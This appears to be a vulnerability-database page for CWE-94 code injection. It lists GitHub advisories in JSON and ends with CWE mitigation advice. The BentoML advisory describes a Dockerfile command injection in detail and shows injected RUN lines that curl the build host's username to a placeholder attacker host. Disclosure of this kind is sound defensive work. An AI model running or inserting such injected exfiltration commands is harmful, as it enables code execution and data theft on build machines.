CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8305 vulnerabilities reference this CWE, most recent first.
GHSA-W2HP-W5JG-2493
Vulnerability from github – Published: 2022-05-17 05:32 – Updated: 2025-04-11 03:53RealNetworks RealPlayer before 15.0.0 allows remote attackers to execute arbitrary code via a crafted RTSP SETUP request.
{
"affected": [],
"aliases": [
"CVE-2011-4254"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-11-24T11:55:00Z",
"severity": "HIGH"
},
"details": "RealNetworks RealPlayer before 15.0.0 allows remote attackers to execute arbitrary code via a crafted RTSP SETUP request.",
"id": "GHSA-w2hp-w5jg-2493",
"modified": "2025-04-11T03:53:01Z",
"published": "2022-05-17T05:32:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4254"
},
{
"type": "WEB",
"url": "http://service.real.com/realplayer/security/11182011_player/en"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W2J7-CQVR-H9J4
Vulnerability from github – Published: 2022-05-24 17:22 – Updated: 2022-05-24 17:22An issue was discovered in Mods for HESK 3.1.0 through 2019.1.0. A privileged user can achieve code execution on the server via a ticket because of improper access control of uploaded resources. This might be exploitable in conjunction with CVE-2020-13992 by an unauthenticated attacker.
{
"affected": [],
"aliases": [
"CVE-2020-13994"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-07-09T15:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Mods for HESK 3.1.0 through 2019.1.0. A privileged user can achieve code execution on the server via a ticket because of improper access control of uploaded resources. This might be exploitable in conjunction with CVE-2020-13992 by an unauthenticated attacker.",
"id": "GHSA-w2j7-cqvr-h9j4",
"modified": "2022-05-24T17:22:42Z",
"published": "2022-05-24T17:22:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13994"
},
{
"type": "WEB",
"url": "https://loca1gh0s7.github.io/MFH-from-XSS-to-RCE-loca1gh0st-exercise"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W2P4-P4RH-QCM3
Vulnerability from github – Published: 2025-11-13 15:30 – Updated: 2025-11-13 17:39pgAdmin versions up to 9.9 are affected by a Remote Code Execution (RCE) vulnerability that occurs when running in server mode and performing restores from PLAIN-format dump files. This issue allows attackers to inject and execute arbitrary commands on the server hosting pgAdmin, posing a critical risk to the integrity and security of the database management system and underlying data.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pgadmin4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-12762"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-13T17:39:17Z",
"nvd_published_at": "2025-11-13T13:15:44Z",
"severity": "CRITICAL"
},
"details": "pgAdmin versions up to 9.9 are affected by a Remote Code Execution (RCE) vulnerability that occurs when running in server mode and performing restores from PLAIN-format dump files. This issue allows attackers to inject and execute arbitrary commands on the server hosting pgAdmin, posing a critical risk to the integrity and security of the database management system and underlying data.",
"id": "GHSA-w2p4-p4rh-qcm3",
"modified": "2025-11-13T17:39:17Z",
"published": "2025-11-13T15:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12762"
},
{
"type": "WEB",
"url": "https://github.com/pgadmin-org/pgadmin4/issues/9320"
},
{
"type": "WEB",
"url": "https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836"
},
{
"type": "PACKAGE",
"url": "https://github.com/pgadmin-org/pgadmin4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "pgAdmin4 vulnerable to Remote Code Execution (RCE) when running in server mode"
}
GHSA-W2P4-PWH6-FG6P
Vulnerability from github – Published: 2022-05-01 18:00 – Updated: 2022-05-01 18:00PHP remote file inclusion vulnerability in includes/CAltInstaller.php in the JoomlaPack (com_jpack) 1.0.4a2 RE component for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.
{
"affected": [],
"aliases": [
"CVE-2007-2144"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-04-19T10:19:00Z",
"severity": "MODERATE"
},
"details": "PHP remote file inclusion vulnerability in includes/CAltInstaller.php in the JoomlaPack (com_jpack) 1.0.4a2 RE component for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.",
"id": "GHSA-w2p4-pwh6-fg6p",
"modified": "2022-05-01T18:00:38Z",
"published": "2022-05-01T18:00:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-2144"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/33702"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/3753"
},
{
"type": "WEB",
"url": "http://osvdb.org/37573"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/23529"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/1429"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W2PM-X38X-JP44
Vulnerability from github – Published: 2026-05-11 14:27 – Updated: 2026-06-08 23:49BentoML envs[*].name Dockerfile command injection — sibling of CVE-2026-33744 / CVE-2026-35043
A malicious bentofile.yaml containing a newline-injected value in envs[*].name produces unquoted RUN directives in the BentoML-generated Dockerfile. When the victim runs bentoml containerize on the imported bento, those RUN directives execute on the host during docker build. Verified end-to-end on bentoml==1.4.38.
Vulnerable code
src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:71-73:
{% for env in __bento_envs__ %}
{% set stage = env.stage | default("all") -%}
{% if stage != "runtime" -%}
ARG {{ env.name }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}
ENV {{ env.name }}=${{ env.name }}
{% endif -%}
{% endfor %}
env.value is bash-quoted via the bash_quote filter, but env.name is interpolated raw with no escaping or newline filtering. The template is rendered by _bentoml_impl/docker.generate_dockerfile (the v2 SDK Docker generation path used by bentoml containerize for modern services).
Sibling relationship to existing CVEs
The earlier patches addressed the same Dockerfile-command-injection class for a different bentofile field:
- CVE-2026-33744 / GHSA-jfjg-vc52-wqvf (2026-03-25): added
bash_quotetosystem_packagesinterpolation in Dockerfile templates andimages.py. - CVE-2026-35043 / GHSA-fgv4-6jr3-jgfw (2026-04-02): added
shlex.quotetosystem_packagesin the cloud deployment path (_internal/cloud/deployment.py:1648).
Both patches limit themselves to system_packages. The envs[*].name field is the same root-cause class (bentofile.yaml value flowing unquoted into a Dockerfile interpretation context) but was never included in the fix scope.
Reproduction
pip install bentoml==1.4.38
python verify_render.py
Expected:
[*] rendered Dockerfile size: 1789 bytes
[*] injected RUN lines: 3
RUN curl -fsSL http://attacker.example.com/$(whoami)=1
RUN curl -fsSL http://attacker.example.com/$(whoami)=$FOO
RUN curl -fsSL http://attacker.example.com/$(whoami)
Each injected RUN line is a Dockerfile command that runs during docker build. With $(whoami) shell-substituted by Docker's RUN executor, the example payload exfiltrates the build host's username.
Threat model
- Attacker authors a malicious bento with a crafted
bentofile.yaml. - Attacker exports the bento (
.bentoor.tar.gz) and distributes (S3, HTTP, BentoCloud share, etc.). - Victim imports with
bentoml import bento.tar; no validation ofenvscontent. - Victim runs
bentoml containerizeto build the container image. - BentoML renders the Dockerfile with the attacker's
envsvalues, producing injectedRUNlines. docker build(or BuildKit) executes the injectedRUNcommands on the build host, achieving RCE in the victim's build environment.
The flow mirrors CVE-2026-33744 exactly, with envs substituted for system_packages.
Suggested fix
In base_v2.j2 lines 71-73, apply the bash_quote filter to env.name (and to the =$VAR reference in the ENV line, since the variable name itself is reused there):
ARG {{ env.name | bash_quote }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}
ENV {{ env.name | bash_quote }}=${{ env.name | bash_quote }}
Better, since env.name is semantically a Dockerfile identifier, validate at the schema level: in bentoml/_internal/bento/build_config.py:BentoEnvSchema, add an attr.validators.matches_re(r"^[A-Za-z_][A-Za-z0-9_]*$") to the name field so newline / shell-metacharacter values are rejected at config load.
Affected versions
- bentoml 1.4.38 (verified end-to-end)
- Likely all 1.x versions where
_bentoml_impl/docker.pyexists; the v2 SDK code path was added before the CVE-2026-33744 / CVE-2026-35043 patches and was not retroactively swept for siblings.
Disclosure
Requesting CVE assignment and GHSA publication. Available for additional repro under different distros / frontends, or for a PR with the suggested fix, on request.
PoC artifacts
Gated HF repo (request access): https://huggingface.co/mrw0r57/bentoml-envs-cmdinjection-poc
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.4.38"
},
"package": {
"ecosystem": "PyPI",
"name": "bentoml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.39"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44346"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T14:27:37Z",
"nvd_published_at": "2026-05-27T18:16:23Z",
"severity": "HIGH"
},
"details": "# BentoML `envs[*].name` Dockerfile command injection \u2014 sibling of CVE-2026-33744 / CVE-2026-35043\n\nA malicious `bentofile.yaml` containing a newline-injected value in `envs[*].name` produces unquoted `RUN` directives in the BentoML-generated Dockerfile. When the victim runs `bentoml containerize` on the imported bento, those `RUN` directives execute on the host during `docker build`. Verified end-to-end on `bentoml==1.4.38`.\n\n## Vulnerable code\n\n`src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:71-73`:\n\n```jinja\n{% for env in __bento_envs__ %}\n{% set stage = env.stage | default(\"all\") -%}\n{% if stage != \"runtime\" -%}\nARG {{ env.name }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}\nENV {{ env.name }}=${{ env.name }}\n{% endif -%}\n{% endfor %}\n```\n\n`env.value` is bash-quoted via the `bash_quote` filter, but **`env.name` is interpolated raw** with no escaping or newline filtering. The template is rendered by `_bentoml_impl/docker.generate_dockerfile` (the v2 SDK Docker generation path used by `bentoml containerize` for modern services).\n\n## Sibling relationship to existing CVEs\n\nThe earlier patches addressed the same Dockerfile-command-injection class for a different bentofile field:\n\n- **CVE-2026-33744 / GHSA-jfjg-vc52-wqvf** (2026-03-25): added `bash_quote` to `system_packages` interpolation in Dockerfile templates and `images.py`.\n- **CVE-2026-35043 / GHSA-fgv4-6jr3-jgfw** (2026-04-02): added `shlex.quote` to `system_packages` in the cloud deployment path (`_internal/cloud/deployment.py:1648`).\n\nBoth patches limit themselves to `system_packages`. The `envs[*].name` field is the same root-cause class (`bentofile.yaml` value flowing unquoted into a Dockerfile interpretation context) but was never included in the fix scope.\n\n## Reproduction\n\n```bash\npip install bentoml==1.4.38\npython verify_render.py\n```\n\nExpected:\n\n```\n[*] rendered Dockerfile size: 1789 bytes\n[*] injected RUN lines: 3\n RUN curl -fsSL http://attacker.example.com/$(whoami)=1\n RUN curl -fsSL http://attacker.example.com/$(whoami)=$FOO\n RUN curl -fsSL http://attacker.example.com/$(whoami)\n```\n\nEach injected `RUN` line is a Dockerfile command that runs during `docker build`. With `$(whoami)` shell-substituted by Docker\u0027s RUN executor, the example payload exfiltrates the build host\u0027s username.\n\n## Threat model\n\n1. Attacker authors a malicious bento with a crafted `bentofile.yaml`.\n2. Attacker exports the bento (`.bento` or `.tar.gz`) and distributes (S3, HTTP, BentoCloud share, etc.).\n3. Victim imports with `bentoml import bento.tar`; no validation of `envs` content.\n4. Victim runs `bentoml containerize` to build the container image.\n5. BentoML renders the Dockerfile with the attacker\u0027s `envs` values, producing injected `RUN` lines.\n6. `docker build` (or BuildKit) executes the injected `RUN` commands on the build host, achieving RCE in the victim\u0027s build environment.\n\nThe flow mirrors CVE-2026-33744 exactly, with `envs` substituted for `system_packages`.\n\n## Suggested fix\n\nIn `base_v2.j2` lines 71-73, apply the `bash_quote` filter to `env.name` (and to the `=$VAR` reference in the `ENV` line, since the variable name itself is reused there):\n\n```jinja\nARG {{ env.name | bash_quote }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}\nENV {{ env.name | bash_quote }}=${{ env.name | bash_quote }}\n```\n\nBetter, since `env.name` is semantically a Dockerfile identifier, validate at the schema level: in `bentoml/_internal/bento/build_config.py:BentoEnvSchema`, add an `attr.validators.matches_re(r\"^[A-Za-z_][A-Za-z0-9_]*$\")` to the `name` field so newline / shell-metacharacter values are rejected at config load.\n\n## Affected versions\n\n- bentoml 1.4.38 (verified end-to-end)\n- Likely all 1.x versions where `_bentoml_impl/docker.py` exists; the v2 SDK code path was added before the CVE-2026-33744 / CVE-2026-35043 patches and was not retroactively swept for siblings.\n\n## Disclosure\n\nRequesting CVE assignment and GHSA publication. Available for additional repro under different distros / frontends, or for a PR with the suggested fix, on request.\n\n\n## PoC artifacts\n\nGated HF repo (request access): https://huggingface.co/mrw0r57/bentoml-envs-cmdinjection-poc",
"id": "GHSA-w2pm-x38x-jp44",
"modified": "2026-06-08T23:49:29Z",
"published": "2026-05-11T14:27:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-78f9-r8mh-4xm2"
},
{
"type": "WEB",
"url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-w2pm-x38x-jp44"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44346"
},
{
"type": "PACKAGE",
"url": "https://github.com/bentoml/BentoML"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-190.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Dockerfile command injection via envs[*].name in bentofile.yaml (sibling fix-bypass of CVE-2026-33744 and CVE-2026-35043)"
}
GHSA-W2Q8-6J3F-CCXF
Vulnerability from github – Published: 2022-05-20 00:00 – Updated: 2022-05-27 00:01A PHP injection vulnerability in Spip before v3.2.8 allows attackers to execute arbitrary PHP code via the _oups parameter at /ecrire.
{
"affected": [],
"aliases": [
"CVE-2022-28960"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-19T21:15:00Z",
"severity": "HIGH"
},
"details": "A PHP injection vulnerability in Spip before v3.2.8 allows attackers to execute arbitrary PHP code via the _oups parameter at /ecrire.",
"id": "GHSA-w2q8-6j3f-ccxf",
"modified": "2022-05-27T00:01:25Z",
"published": "2022-05-20T00:00:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28960"
},
{
"type": "WEB",
"url": "https://github.com/spip/SPIP/commit/0394b44774555ae8331b6e65e35065dfa0bb41e4"
},
{
"type": "WEB",
"url": "https://github.com/spip/SPIP/commit/6c1650713fc948318852ace759aab8f1a84791cf"
},
{
"type": "WEB",
"url": "https://blog.spip.net/Mise-a-jour-CRITIQUE-de-securite-SPIP-3-2-8-et-SPIP-3-1-13.html"
},
{
"type": "WEB",
"url": "https://thinkloveshare.com/en/hacking/rce_on_spip_and_root_me"
},
{
"type": "WEB",
"url": "https://www.root-me.org/fr/Informations/Faiblesses-decouvertes"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W2RP-298M-8M2F
Vulnerability from github – Published: 2022-05-14 02:41 – Updated: 2022-05-14 02:41PHP remote file inclusion vulnerability in contact/contact.php in Groone's Simple Contact Form allows remote attackers to execute arbitrary PHP code via a URL in the abspath parameter.
{
"affected": [],
"aliases": [
"CVE-2010-5038"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-11-02T21:55:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in contact/contact.php in Groone\u0027s Simple Contact Form allows remote attackers to execute arbitrary PHP code via a URL in the abspath parameter.",
"id": "GHSA-w2rp-298m-8m2f",
"modified": "2022-05-14T02:41:54Z",
"published": "2022-05-14T02:41:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-5038"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/1005-exploits/groonescf-rfi.txt"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/8523"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/511551/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/1291"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W2WW-4MX4-W7C7
Vulnerability from github – Published: 2022-05-01 23:59 – Updated: 2025-04-09 03:56Unspecified vulnerability in PunBB before 1.2.19 allows remote attackers to inject arbitrary SMTP commands via unknown vectors.
{
"affected": [],
"aliases": [
"CVE-2008-3335"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-07-27T23:41:00Z",
"severity": "HIGH"
},
"details": "Unspecified vulnerability in PunBB before 1.2.19 allows remote attackers to inject arbitrary SMTP commands via unknown vectors.",
"id": "GHSA-w2ww-4mx4-w7c7",
"modified": "2025-04-09T03:56:53Z",
"published": "2022-05-01T23:59:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3335"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/44010"
},
{
"type": "WEB",
"url": "http://punbb.informer.com"
},
{
"type": "WEB",
"url": "http://punbb.informer.com/download/changelogs/1.2.17_to_1.2.19.txt"
},
{
"type": "WEB",
"url": "http://punbb.informer.com/forums/topic/19539/punbb-1219"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/31219"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/30395"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W2X6-63R6-W8MJ
Vulnerability from github – Published: 2022-05-01 23:48 – Updated: 2022-05-01 23:48PHP remote file inclusion vulnerability in fusebox5.php in Fusebox 5.5.1 allows remote attackers to execute arbitrary PHP code via a URL in the FUSEBOX_APPLICATION_PATH parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.
{
"affected": [],
"aliases": [
"CVE-2008-2284"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-05-18T14:20:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in fusebox5.php in Fusebox 5.5.1 allows remote attackers to execute arbitrary PHP code via a URL in the FUSEBOX_APPLICATION_PATH parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.",
"id": "GHSA-w2x6-63r6-w8mj",
"modified": "2022-05-01T23:48:39Z",
"published": "2022-05-01T23:48:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2284"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42389"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30178"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/29163"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W32Q-QM9C-QVJ6
Vulnerability from github – Published: 2022-05-01 17:53 – Updated: 2022-05-01 17:53Multiple PHP remote file inclusion vulnerabilities in Open Education System (OES) 0.1beta allow remote attackers to execute arbitrary PHP code via a URL in the CONF_INCLUDE_PATH parameter to (1) lib-account.inc.php, (2) lib-file.inc.php, (3) lib-group.inc.php, (4) lib-log.inc.php, (5) lib-mydb.inc.php, (6) lib-template-mod.inc.php, and (7) lib-themes.inc.php in includes/.
{
"affected": [],
"aliases": [
"CVE-2007-1446"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-03-14T00:19:00Z",
"severity": "HIGH"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in Open Education System (OES) 0.1beta allow remote attackers to execute arbitrary PHP code via a URL in the CONF_INCLUDE_PATH parameter to (1) lib-account.inc.php, (2) lib-file.inc.php, (3) lib-group.inc.php, (4) lib-log.inc.php, (5) lib-mydb.inc.php, (6) lib-template-mod.inc.php, and (7) lib-themes.inc.php in includes/.",
"id": "GHSA-w32q-qm9c-qvj6",
"modified": "2022-05-01T17:53:51Z",
"published": "2022-05-01T17:53:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-1446"
},
{
"type": "WEB",
"url": "http://advisories.echo.or.id/adv/adv69-K-159-2007.txt"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/2421"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/462670/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/22934"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/0920"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.